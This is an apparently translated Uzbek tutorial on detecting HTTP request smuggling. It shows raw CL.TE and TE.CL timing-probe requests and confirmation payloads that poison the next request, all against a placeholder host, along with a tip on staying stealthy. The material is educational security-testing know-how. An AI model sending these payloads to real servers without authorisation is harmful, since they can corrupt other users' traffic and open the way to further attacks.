Ushbu bo'limda request smuggling zaifliklarini topishning turli texnikalarini ko'rib chiqamiz.
Request smuggling zaifliklarini aniqlashning eng samarali usuli — zaiflik mavjud bo'lsa, ilova javoblarida vaqt kechikishini keltirib chiqaradigan so'rovlar yuborish. Burp Scanner bu texnikani avtomatlashtiradi.
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4
1
A
XFront-end Content-Length'ni ishlatib so'rovning faqat bir qismini (X'siz) uzatadi. Back-end Transfer-Encoding'ni ishlatib birinchi bo'lakni qayta ishlaydi va keyingi bo'lak kelishini kutadi — bu kuzatiladigan vaqt kechikishiga sabab bo'ladi.
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6
0
XFront-end Transfer-Encoding'ni ishlatib faqat bir qismini uzatadi. Back-end Content-Length'ni ishlatib qolgan mazmunni kutadi — vaqt kechikishi yuzaga keladi.
TE.CL uchun timing testi CL.TE variantiga zaif ilovada boshqa foydalanuvchilarni buzishi mumkin. Yashirin bo'lish uchun avval CL.TE testini, u muvaffaqiyatsiz bo'lsagina TE.CL testini ishlating.
Ehtimoliy zaiflik aniqlangach, uni "hujum" so'rovi (keyingi so'rovni buzishga mo'ljallangan) va "oddiy" so'rovni tez ketma-ket yuborib tasdiqlash mumkin. Agar oddiy so'rov javobi kutilgan aralashuvni o'z ichiga olsa, zaiflik tasdiqlanadi.
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Length: 49
Transfer-Encoding: chunked
e
q=smuggling&x=
0
GET /404 HTTP/1.1
Foo: xMuvaffaqiyatli bo'lsa, oxirgi ikki qator back-end tomonidan keyingi so'rovga tegishli deb qaraladi va navbatdagi oddiy so'rov GET /404 bilan boshlanadi — yaroqsiz URL bo'lgani uchun server 404 qaytaradi, bu aralashuvni tasdiqlaydi.
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Transfer-Encoding: chunked
7c
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
x=
0Muvaffaqiyatli bo'lsa, GET /404 dan boshlangan hamma narsa keyingi so'rovga tegishli deb qaraladi va server 404 bilan javob beradi.
Muhim: "hujum" va "oddiy" so'rovlar bir xil URL va parametr nomlarini ishlatishi kerak (ko'p ilovalar so'rovlarni URL bo'yicha turli back-end'larga yo'naltiradi). "Oddiy" so'rovni "hujum" so'rovidan darhol keyin yuboring. Ilova band bo'lsa, tasdiqlash uchun bir necha marta urinish kerak bo'lishi mumkin.